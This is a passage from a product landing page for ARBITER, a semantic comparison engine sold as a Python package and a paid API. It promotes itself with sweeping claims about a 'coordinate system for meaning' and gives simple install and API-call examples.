    "candidates": ["option 1", "option 2", "option 3"]
  }'
26MB
Download size
∞
Free API calls
0
Training required
PyPI Package API Documentation OMIN Demo →
The Larger Frame

This is not a product.
This is a discovery.

For the first time in human history, we have coordinates for meaning.

72 dimensions. Deterministic. Universal across languages, domains, and modalities.

Shannon discovered that information has quantity. We discovered that meaning has geometry.

◉

Post-Linguistic Communication

Meaning transfer without translation. Chinese ↔ Arabic ↔ English through shared geometric space. The Tower of Babel, reversed.

◈

Cognitive Infrastructure

Every search engine, every RAG pipeline, every decision system — rebuilt on a foundation that actually understands what things mean.

∿

Human-Machine Alignment

AI systems that share our coordinate system for meaning. Not probability over tokens — geometric coherence in semantic space.

"The next century's infrastructure won't be built on language models.
It will be built on semantic primitives."

ARBITER is the first coordinate system for meaning.

In The Field

Where geometry meets reality.

Air defense operators at missile battery

Air Defense

Threat prioritization under constraint. 26MB deciding what gets intercepted first.

Autonomous warehouse robot

Autonomous Systems

9 sensors. No rules. Human detected → halt. Geometry understood safety.

Industrial welding robot

Industrial Precision

When the constraint is structural. Same geometry, different substrate.

Same 72 dimensions. Defense. Logistics. Manufacturing. Discovery.
Heritage

Built by a former Pentagon Defense Digital Service product manager (2022-2024), deployed to IDCC Germany supporting Ukrainian operations and NATO weapons coordination platforms.

ARBITER exists because existing tools couldn't handle real-world constraint optimization under fire.

Start Now

Run your first /compare

26MB semantic engine. Type query, see coherence. Two ways to start.

Option 1: Python

pip install

Install the engine locally. Run inference on your machine. No API calls, no cloud dependency.

# Install pip install arbiter-engine # Use from arbiter import Arbiter arbiter = Arbiter() result = arbiter.compare( query="Taiwan air defense coordination", candidates=[ "Coordinate PAC-3 batteries with early warning", "Deploy infantry to coastal positions", "Issue press statement to media" ] ) print(result.rankings)
Option 2: API

curl /compare

Call the hosted API. Same engine, zero setup. Get your API key and start measuring coherence.

curl -X POST https://api.arbiter.traut.ai/v1/compare \ -H "Authorization: Bearer YOUR_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "query": "COX-2 selective inhibitor modification", "candidates": [ "Add sulfonamide group for selectivity", "Increase molecular weight", "Add fluorine atoms" ] }' # Response: ranked by coherence score

The primitive that measures what matters.

Get API Key — $19/mo View on PyPI API Docs

Build with the primitive.

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